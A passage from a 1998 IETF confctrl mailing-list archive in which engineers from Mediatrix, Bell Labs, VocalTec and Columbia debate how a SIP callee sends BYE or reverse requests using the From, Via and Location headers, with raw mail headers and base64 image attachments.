AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

--0__=ncNI8UPUMksPF8pnTjlpRHTKBzZAo5zzm5hfvwaB32SPy5dTXjPpVIOG--


From confctrl-owner  Thu May  7 08:22:02 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA03309
	for confctrl-outgoing; Thu, 7 May 1998 08:22:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA03304
	for <confctrl@zephyr.isi.edu>; Thu, 7 May 1998 08:22:01 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01414
	for <confctrl@ISI.EDU>; Thu, 7 May 1998 08:21:59 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <KDDZPN0F>; Thu, 7 May 1998 11:22:03 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912ED64@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'Scott Petrack'" <Scott_Petrack@vocaltec.com>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: Basic problem with caller/callee asymmetry for telephony??
Date: Thu, 7 May 1998 11:21:59 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> -----Original Message-----
> From: Scott Petrack [mailto:Scott_Petrack@vocaltec.com]
> Sent: 7 mai, 1998 09:08
> To: confctrl@ISI.EDU
> Subject: Basic problem with caller/callee asymmetry for telephony??

[ deleted stuff ]

> In the establishment of the session (aka call) , the caller 
> uses a client
> and the callee a server. Later, the caller can change session 
> parameters by
> sending a new SIP request. For example, the caller can send a 
> BYE request
> to end the call. But how can the _callee_ change the session 
> parameters?
> For example, how can the _callee_ signal the end of the session?

Scott, 

The way I see this, in SIP, the notion of client or server is valid only
for a transaction.
The transaction initiator is the client.  After a transaction, this
notion vanishes until the next transaction, which can be initiated by
any one participating in the session.

EricT


Eric Tremblay     | Mediatrix Telecom
Computer Engineer | -----------------
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com
 

From confctrl-owner  Thu May  7 10:50:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA10311
	for confctrl-outgoing; Thu, 7 May 1998 10:50:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA10306
	for <confctrl@zephyr.isi.edu>; Thu, 7 May 1998 10:50:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA12944
	for <confctrl@ISI.EDU>; Thu, 7 May 1998 10:50:02 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu May  7 13:48:47 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id NAA16535;
	Thu, 7 May 1998 13:48:46 -0400 (EDT)
Message-ID: <3551F391.EF35B433@dnrc.bell-labs.com>
Date: Thu, 07 May 1998 13:46:57 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU
Subject: Re: Basic problem with caller/callee asymmetry for telephony??
References: <422565FD.0020F377.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
>                               SCOTT PETRACK @
>                                  VOCALTEC
>                              05/07/98 03:08 PM
>                (Embedded image moved to file: PIC02484.PCX)

> In the establishment of the session (aka call) , the caller uses a client
> and the callee a server. Later, the caller can change session parameters by
> sending a new SIP request. For example, the caller can send a BYE request
> to end the call. But how can the _callee_ change the session parameters?
> For example, how can the _callee_ signal the end of the session?
>
> In SIP, the caller does not need to have a SIP server running at all. It
> just makes requests. So the callee has no place to send a BYE or any other
> SIP request to the caller.

I think you can solve your problem without any changes. For consistency,
lets denote the direction of the original INVITE request the "forward"
direction; requests which then flow from the callee back to the caller
are in the "reverse" direction. My assumption was that requests in the
reverse direction are sent to the address listed in the From: field of
the original forward request. Now, assume that this address is
petrack@vocaltec.com. The SIP server sitting at vocaltec.com would route
calls for you to whatever entity has registered itself as being able to
receive calls for this address. This need not be the device which
originates calls; it can be some other server which "owns" this address,
as you suggest. Thus you can easily have a separate device for incoming
and outgoing calls without any additional changes to SIP. You
essentially place your "callback" address in the From field, which need
not be the address of the device initiating the call.

One disadvantage to doing it this way is that this reverse direction
transaction will need to flow through the vocaltec.com SIP server. Had a
Location: field been included in the original forward request, and first
reverse request could go directly to the final server. Of course, as the
response to the reverse request will contain a Location: field,
subsequent reverse requests can do directly. Thus, I see this
disadvantage as relatively minor.

> 2. As a default fallback, one could say that a callee MAY try to send a
> later request to the last Via: line, which in principle contains the
> address of the initiating SIP client. SIP clients that wish to allow
> invitees to send change requests for the session MUST either include a
> Location: header in the request (as above) or have a SIP server listening
> on the default port (5060) at the address listed in the Via: header.

I think the From field is the place you would look, not the Via (as
these may be hidden anyway).

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu May  7 12:36:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA15594
	for confctrl-outgoing; Thu, 7 May 1998 12:36:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15586
	for <confctrl@zephyr.isi.edu>; Thu, 7 May 1998 12:36:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA20864
	for <confctrl@ISI.EDU>; Thu, 7 May 1998 12:36:02 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu May  7 15:35:05 EDT 1998
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id PAA19653;
	Thu, 7 May 1998 15:35:03 -0400 (EDT)
Message-ID: <35520CC3.863FE31F@dnrc.bell-labs.com>
Date: Thu, 07 May 1998 15:34:27 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Reply-To: igors@bell-labs.com
Organization: High Speed Networks Research, Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU
Subject: Re: Basic problem with caller/callee asymmetry for telephony??
References: <422565FD.0020F377.00@il4.vocaltec.co.il> <3551F391.EF35B433@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> <...>
> 
> One disadvantage to doing it this way is that this reverse direction
> transaction will need to flow through the vocaltec.com SIP server. Had a
> Location: field been included in the original forward request, and first
> reverse request could go directly to the final server. Of course, as the
> response to the reverse request will contain a Location: field,
> subsequent reverse requests can do directly. Thus, I see this
> disadvantage as relatively minor.
> 

In fact, draft-ietf-mmusic-sip-05.ps says that the original "forward"
INVITE may contain the Location field so this is not an issue (6.20):

   INVITE and  ACK requests MAY also contain  Location headers
   indicating the location the request is originating from.

        This allows the callee to send a  BYE directly to the
        caller instead of through a series of proxies. The  Via
        header is not sufficient since the desired address may be
        that of a proxy.

---
Igor Slepchin

From confctrl-owner  Fri May  8 08:42:38 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA07363
	for confctrl-outgoing; Fri, 8 May 1998 08:42:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07358
	for <confctrl@zephyr.isi.edu>; Fri, 8 May 1998 08:42:36 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23232
	for <confctrl@ISI.EDU>; Fri, 8 May 1998 08:42:33 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id RAA05721; Fri, 8 May 1998 17:36:09 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565FE.005BBBC3 ; Fri, 8 May 1998 18:41:58 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: jdrosen@dnrc.bell-labs.com
cc: confctrl@ISI.EDU
Message-ID: <422565FE.00567359.00@il4.vocaltec.co.il>
Date: Fri, 8 May 1998 18:16:14 +0200
Subject: Re: Basic problem with caller/callee asymmetry for telephony??
Mime-Version: 1.0
Content-type: multipart/mixed; 
	Boundary="0__=2g1do9iEeyEhc6uPqUFd8nBBWPe8kQRUuYkFgkAvGcGbmCwYPRjp0lb5"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--0__=2g1do9iEeyEhc6uPqUFd8nBBWPe8kQRUuYkFgkAvGcGbmCwYPRjp0lb5
Content-type: text/plain; charset=US-ASCII



                              SCOTT PETRACK @
                                 VOCALTEC
                             05/08/98 06:16 PM
               (Embedded image moved to file: PIC32765.PCX)


I don't really care if the default is in the From: field or in the Via:
field. I preferred Via because Via has a real IP address in it (not a DNS
name), which is either the actual address of a proxy server of the actual
originating client, and so I made the assumption that in the absence of a
special Location: field, that same host is running client and server code
(which is very reasonable in telephony, although I agree not always true).

But I really do not like that the _only_ possibility might be to send
"reverse queries" to the SIP server in the From: field. The From: field
will almost always have a host name (and not an IP number), and this means
that some sort of SIP address resolution procedure (like using DNS) will
almost always be required when the callee wishes to disconnect or change
something.  It seems to me that I recall some objections to a certain Call
Signalling protocol which was said to require unneccessary round trips
;-).....

Can we go with a compromise that says something like

A request MAY contain a Location: field, which contains the location of a
SIP server which "knows" about the request and can itself answer later
queries about it.  If the request does not contain a Location: field, then
the receiving Server MAY try to send later queries to a SIP server whose
address is in the From: line of the request.

Scott






jdrosen@dnrc.bell-labs.com on 05/07/98 07:46:57 PM

To:   Scott Petrack
cc:   confctrl@ISI.EDU
Subject:  Re: Basic problem with caller/callee asymmetry for telephony??




Scott Petrack wrote:
>
>                               SCOTT PETRACK @
>                                  VOCALTEC
>                              05/07/98 03:08 PM
>                (Embedded image moved to file: PIC02484.PCX)
> In the establishment of the session (aka call) , the caller uses a client
> and the callee a server. Later, the caller can change session parameters
by
> sending a new SIP request. For example, the caller can send a BYE request
> to end the call. But how can the _callee_ change the session parameters?
> For example, how can the _callee_ signal the end of the session?
>
> In SIP, the caller does not need to have a SIP server running at all. It
> just makes requests. So the callee has no place to send a BYE or any
other
> SIP request to the caller.
I think you can solve your problem without any changes. For consistency,
lets denote the direction of the original INVITE request the "forward"
direction; requests which then flow from the callee back to the caller
are in the "reverse" direction. My assumption was that requests in the
reverse direction are sent to the address listed in the From: field of
the original forward request. Now, assume that this address is
petrack@vocaltec.com. The SIP server sitting at vocaltec.com would route
calls for you to whatever entity has registered itself as being able to
receive calls for this address. This need not be the device which
originates calls; it can be some other server which "owns" this address,
as you suggest. Thus you can easily have a separate device for incoming
and outgoing calls without any additional changes to SIP. You
essentially place your "callback" address in the From field, which need
not be the address of the device initiating the call.
One disadvantage to doing it this way is that this reverse direction
transaction will need to flow through the vocaltec.com SIP server. Had a
Location: field been included in the original forward request, and first
reverse request could go directly to the final server. Of course, as the
response to the reverse request will contain a Location: field,
subsequent reverse requests can do directly. Thus, I see this
disadvantage as relatively minor.
> 2. As a default fallback, one could say that a callee MAY try to send a
> later request to the last Via: line, which in principle contains the
> address of the initiating SIP client. SIP clients that wish to allow
> invitees to send change requests for the session MUST either include a
> Location: header in the request (as above) or have a SIP server listening
> on the default port (5060) at the address listed in the Via: header.
I think the From field is the place you would look, not the Via (as
these may be hidden anyway).
-Jonathan R.
--
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen




--0__=2g1do9iEeyEhc6uPqUFd8nBBWPe8kQRUuYkFgkAvGcGbmCwYPRjp0lb5
Content-type: application/octet-stream; 
	name="PIC32765.PCX"
Content-transfer-encoding: base64

CgUBCAAAAAArABoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABLAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAADID9MAyQAAxA/CDw/JD9IAyQDFD8IPD8oP0gDHAMUPww8Pyw/RAMYAxg/D
Dw/MD9EAxADGD8MPwg/NDdAAwwDHDcMNwg3OD9AAAMcPxA/CD88PzwDID8QPwg/DD80NzQDIDcQN
wg8P0Q/LAMkPxA/CDw/SD8kAyQ/FD8IPD8YPzQ3HAMoNwg3ED8IP1A/FAMoPxQ/DDw/VD8MAyw/F
D8MPD8kPzQ0Ayw0NxQ/DDw/XD8sPxg/DDw/XD8sPxg/DDw/MD9ENww3HD8MPwg/XD8sPxg/DDw/X
D8sPxg/DDw/PD84NyA/ED8IPD9cPyw/GD8MPD9cPyw/GD8MPD9IPyA3KD8UPwg8P1w/LD8YPww8P
1w/LD8YPww8P1Q/CDcsPxg/DDw8MAAAAgAAAAIAAgIAAAACAgACAAICAgICAwMDA/wAAAP8A//8A
AAD//wD/AP//////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

--0__=2g1do9iEeyEhc6uPqUFd8nBBWPe8kQRUuYkFgkAvGcGbmCwYPRjp0lb5--


From confctrl-owner  Fri May  8 08:51:35 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA07797
	for confctrl-outgoing; Fri, 8 May 1998 08:51:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07792
	for <confctrl@zephyr.isi.edu>; Fri, 8 May 1998 08:51:34 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23875
	for <confctrl@ISI.EDU>; Fri, 8 May 1998 08:51:29 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id RAA05756; Fri, 8 May 1998 17:45:24 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565FE.005C9A38 ; Fri, 8 May 1998 18:51:27 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: igors@bell-labs.com
cc: jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
Message-ID: <422565FE.005C3EBE.00@il4.vocaltec.co.il>
Date: Fri, 8 May 1998 18:50:31 +0200
Subject: Re: Basic problem with caller/callee asymmetry for telephony??
Mime-Version: 1.0
Content-type: multipart/mixed; 
	Boundary="0__=HT0x1uusqd9En0HBAvcoKuPjXLgKp7OS48heQc4HThpKKGObgDWKNuGe"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--0__=HT0x1uusqd9En0HBAvcoKuPjXLgKp7OS48heQc4HThpKKGObgDWKNuGe
Content-type: text/plain; charset=US-ASCII



                              SCOTT PETRACK @
                                 VOCALTEC
                             05/08/98 06:50 PM
               (Embedded image moved to file: PIC11405.PCX)

This is getting silly. The text you cite is not in
draft-ietf-mmusic-sip-05.txt.

Please post a definitive URL for the most current draft, and please post to
the list whenever a change is made to it.

Scott






igors@dnrc.bell-labs.com on 05/07/98 09:34:27 PM

Please respond to igors@bell-labs.com

To:   jdrosen@dnrc.bell-labs.com
cc:   Scott Petrack, confctrl@ISI.EDU
Subject:  Re: Basic problem with caller/callee asymmetry for telephony??




Jonathan Rosenberg wrote:
> <...>
>
> One disadvantage to doing it this way is that this reverse direction
> transaction will need to flow through the vocaltec.com SIP server. Had a
> Location: field been included in the original forward request, and first
> reverse request could go directly to the final server. Of course, as the
> response to the reverse request will contain a Location: field,
> subsequent reverse requests can do directly. Thus, I see this
> disadvantage as relatively minor.
>
In fact, draft-ietf-mmusic-sip-05.ps says that the original "forward"
INVITE may contain the Location field so this is not an issue (6.20):
   INVITE and  ACK requests MAY also contain  Location headers
   indicating the location the request is originating from.
        This allows the callee to send a  BYE directly to the
        caller instead of through a series of proxies. The  Via
        header is not sufficient since the desired address may be
        that of a proxy.
---
Igor Slepchin






--0__=HT0x1uusqd9En0HBAvcoKuPjXLgKp7OS48heQc4HThpKKGObgDWKNuGe
Content-type: application/octet-stream; 
	name="PIC11405.PCX"
Content-transfer-encoding: base64

CgUBCAAAAAArABoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAABLAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAADID9MAyQAAxA/CDw/JD9IAyQDFD8IPD8oP0gDHAMUPww8Pyw/RAMYAxg/D
Dw/MD9EAxADGD8MPwg/NDdAAwwDHDcMNwg3OD9AAAMcPxA/CD88PzwDID8QPwg/DD80NzQDIDcQN
wg8P0Q/LAMkPxA/CDw/SD8kAyQ/FD8IPD8YPzQ3HAMoNwg3ED8IP1A/FAMoPxQ/DDw/VD8MAyw/F
D8MPD8kPzQ0Ayw0NxQ/DDw/XD8sPxg/DDw/XD8sPxg/DDw/MD9ENww3HD8MPwg/XD8sPxg/DDw/X
D8sPxg/DDw/PD84NyA/ED8IPD9cPyw/GD8MPD9cPyw/GD8MPD9IPyA3KD8UPwg8P1w/LD8YPww8P
1w/LD8YPww8P1Q/CDcsPxg/DDw8MAAAAgAAAAIAAgIAAAACAgACAAICAgICAwMDA/wAAAP8A//8A
AAD//wD/AP//////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

--0__=HT0x1uusqd9En0HBAvcoKuPjXLgKp7OS48heQc4HThpKKGObgDWKNuGe--


From confctrl-owner  Fri May  8 09:20:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA08839
	for confctrl-outgoing; Fri, 8 May 1998 09:20:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08834
	for <confctrl@zephyr.isi.edu>; Fri, 8 May 1998 09:20:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA26165
	for <confctrl@ISI.EDU>; Fri, 8 May 1998 09:20:02 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Fri May  8 12:18:06 EDT 1998
Received: from dnrc.bell-labs.com (igorspc [135.180.130.146])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id MAA09906;
	Fri, 8 May 1998 12:18:05 -0400 (EDT)
Message-ID: <35533013.455B0FBC@dnrc.bell-labs.com>
Date: Fri, 08 May 1998 12:17:23 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Reply-To: igors@bell-labs.com
Organization: High Speed Networks Research, Bell Labs
X-Mailer: Mozilla 4.04 [en] (WinNT; U)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: igors@bell-labs.com, jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
Subject: Re: Basic problem with caller/callee asymmetry for telephony??
References: <422565FE.005C3EBE.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The draft I cited is at
http://www.cs.columbia.edu/~hgs/sip/draft-ietf-mmusic-sip-05.txt.

In fact, I just realized that PostScript and PDF versions of this draft
(available as draft-ietf-mmusic-sip-05.ps and
draft-ietf-mmusic-sip-05.pdf from the same site) are newer than the text
version (April 26 instead of April 9 for .txt file). However, all three
of them contain the cited text (it was moved to section 6.25 in newer
version, which contains a number of other additions).

---
Igor Slepchin


Scott Petrack wrote:
> 
>                               SCOTT PETRACK @
>                                  VOCALTEC
>                              05/08/98 06:50 PM
>                (Embedded image moved to file: PIC11405.PCX)
> 
> This is getting silly. The text you cite is not in
> draft-ietf-mmusic-sip-05.txt.
> 
> Please post a definitive URL for the most current draft, and please post to
> the list whenever a change is made to it.
> 
> Scott
> 
> igors@dnrc.bell-labs.com on 05/07/98 09:34:27 PM
> 
> In fact, draft-ietf-mmusic-sip-05.ps says that the original "forward"
> INVITE may contain the Location field so this is not an issue (6.20):
>    INVITE and  ACK requests MAY also contain  Location headers
>    indicating the location the request is originating from.
>         This allows the callee to send a  BYE directly to the
>         caller instead of through a series of proxies. The  Via
>         header is not sufficient since the desired address may be
>         that of a proxy.
> ---
> Igor Slepchin
>

From confctrl-owner  Wed May 13 19:32:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA01644
	for confctrl-outgoing; Wed, 13 May 1998 19:32:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA01637
	for <confctrl@zephyr.isi.edu>; Wed, 13 May 1998 19:32:41 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA24992
	for <confctrl@ISI.EDU>; Wed, 13 May 1998 19:32:40 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id WAA13119; Wed, 13 May 1998 22:32:38 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id WAA21503; Wed, 13 May 1998 22:32:38 -0400 (EDT)
Message-ID: <355A57C5.B24DEDE1@cs.columbia.edu>
Date: Wed, 13 May 1998 22:32:37 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Yaron Goland <yarong@microsoft.com>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: General Comments on the SIP Protocol
References: <3FF8121C9B6DD111812100805F31FC0D02971262@red-msg-59.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yaron Goland wrote:
> 
> 4 General Comments on the SIP Protocol
> 
> 4.1 1.4.4. SIP Invitation
> 
> Given that SIP allows for different kinds of session descriptions to be used
> it seems inappropriate to describe details of the session description's
> behaviors. For example, the third paragraph talks about session
> description's with times set to the future. It would seem to me to be the
> job of the particular session description to explain what it means to
> receive a description set to the future. SIP should be silent on the
> subject.
> 
> For example, I can imagine a session protocol whose policy is that if you
> receive an invitation in the future you should try to connection immediately
> and ask for the current clock on the inviting server to determine if there
> are any clock skew problems. The point isn't that the previous is a real
> world scenario only that in general SIP should remain silent on the behavior
> of session descriptions. SIP's job is ONLY to move session descriptions
> around. It should leave the functionality of those descriptions to others.

I commented out the sentence.

> 
> 4.2 4.2.2 ACK
> 
> An ACK message is not necessary when using TCP since TCP itself will let the
> callee know that the caller has received the appropriate response. Obviously
> if a proxy is using TCP on one end and UDP out the other as soon as the
> proxy receives TCP confirmation of receipt it needs to send an ACK on the
> UDP connection.

This is roughly true, but needs a bit more discussion:

